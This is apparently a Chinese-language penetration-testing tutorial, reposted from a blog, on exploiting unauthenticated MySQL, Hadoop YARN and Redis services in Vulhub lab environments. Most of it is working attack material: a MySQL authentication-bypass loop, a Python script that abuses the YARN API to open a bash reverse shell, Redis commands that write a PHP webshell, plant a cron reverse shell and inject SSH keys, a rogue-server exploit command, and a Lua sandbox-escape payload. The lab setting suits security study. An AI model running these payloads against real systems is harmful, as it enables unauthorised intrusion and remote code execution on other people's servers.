思维导图:
常见服务的安全测试:
1.配置不当-未授权访问
2.安全机制-特定安全漏洞
3.安全机制-弱口令爆破攻击
服务安全流程:
端口扫描 nmap netstat
服务开放了,但是端口不存在?
1.内网环境,端口映射
2.端口被修改
3.防护软件-防火墙等
如果没有端口,利用组合猜测,例如:php-mysql
判断服务类型:
远程控制: win 3389 rdp linux 22 ssh --> 账号密码爆破
案例一:Mysql-未授权访问-CVE-2012-2122 利用
靶场环境:Vulhub - Docker-Compose file for vulnerability environment
创建docker环境
查看ip
利用命令
for i in `seq 1 1000`; do mysql -uroot -pwrong -h your-ip -P3306 ; done
复现:失败很多次后会成功
另外mysql不能够使用远程暴力破解。因为root用户只能本地登录,可以采取利用phpmyadmin去远程登录利用,爆破密码。
案例二: Hadoop-未授权访问-内置配合命令执行 RCE
靶场环境:Vulhub - Docker-Compose file for vulnerability environment
搭建
访问:
http://your-ip:8088
访问你的ip地址/cluster/apps,如果存在证明有漏洞
kali开启监听
新开的窗口执行下方代码,去反弹shell
import requests
def shell(url,vps_ip,port):
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36'
}
response = requests.post(url+"/ws/v1/cluster/apps/new-application",headers=headers)
id = response.json()["application-id"]
data = {
'application-id': id,
'application-name': 'getshell',
'am-container-spec': {
'commands': {
'command': '/bin/bash -i >& /dev/tcp/%s/%s 0>&1'%(vps_ip,port)
},
},
'application-type': 'YARN'}
exploit = requests.post(url+"/ws/v1/cluster/apps",headers=headers,json=data)
print("[+] 执行完成!")
if __name__ == '__main__':
url = input("目标的URL:")
vps_ip = input("监听的主机IP地址(kali):")
port = input("监听的主机端口(kali):")
shell(url,vps_ip,port)
运行,成功反弹sell
案例三:Redis-未授权访问-Webshell&任务&密匙&RCE 等
redis端口: 6379
未授权访问条件:
1.redis.conf中 bind表示允许谁访问,被注释了表示都可以访问
2.redis.conf 中 下面这个模块默认是关闭的
3.默认没设置密码 requirepass
环境配置:(centos7)
1、下载
wget http://download.redis.io/releases/redis-2.8.17.tar.gz
2、解压编译
tar xzvf redis-2.8.17.tar.gz #解压安装包
cd redis-2.8.17 # 进入redis目录
make #编译
3、配置及启动
cd src/ #进入src目录
cp redis-server /usr/bin/
cp redis-cli /usr/bin/ #将redis-server和redis-cli拷贝到/usr/bin目录下(这样启动redis-server和redis-cli就不用每次都进入安装目录了)
cd .. # 返回上一级目录
cp redis.conf /etc/ #将redis.conf拷贝到/etc/目录下
redis-server /etc/redis.conf # 使用/etc/目录下的redis.conf文件中的配置启动redis服务
启动后的效果
利用redis桌面连接工具进行连接
连接后。ctrl+t进入命令终端
写入webshell
需要知道写入路径 /tmp目录默认是所有人都可以写入
利用条件:Web 目录权限可读写
config set dir /tmp #设置 WEB 写入目录
config set dbfilename 1.php #设置写入文件名
set test "<?php phpinfo();?>" #设置写入文件代码
bgsave #保存执行
save #保存执行
注意:部分没目录权限读写权限
执行:
查看centos7是否写入
写入计划任务反弹shell
kali首先开启监听
首先centos中的计时任务,可以写在/var/spool/cron中
set xx "\n* * * * * bash -i >& /dev/tcp/192.168.172.132/7777 0>&1\n"
//星号表示的是计划任务的时间
config set dir /var/spool/cron/ //或者 /var/spool/cron/crontabs
config set dbfilename root // 计划任务的文件名为root
save // ok
config get dir
//即可查看保存路径 ,确保路径无误
kali成功反弹shell
如果无法反弹shell可能是由于上一个实验的结果。也会输入这个文件当中造成影响,可以新开一个kali窗口,进行纯净版的输入,如图
ssh密钥链接
利用该攻击方式,还需要允许密钥对登录,并且redis以root登录
首先生成密钥对
进入root目录下
把公钥复制到key.txt文件当中
传输公钥
自己搭建的服务器,如果没有.ssh需要手工生成一下
连接保存公钥
利用自己的私钥去主动连接
利用自动化脚本去getshell
下载地址:https://github.com/vulhub/redis-rogue-getshell
可以用的redis版本: Redis4.x/5.0.5
运行代码:
python3 redis-master.py -r target-ip -p 6379 -L local-ip -P 8888 -f RedisModulesSDK/exp.so -c "id"
搭建靶场:Vulhub - Docker-Compose file for vulnerability environment
利用,首先需要编译
利用
换一个命令
redis沙盒绕过命令执行
靶场环境:Vulhub - Docker-Compose file for vulnerability environment
搭建:
利用代码:
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0
复现
版权归原作者 xiaojiesec 所有, 如有侵权,请联系我们删除。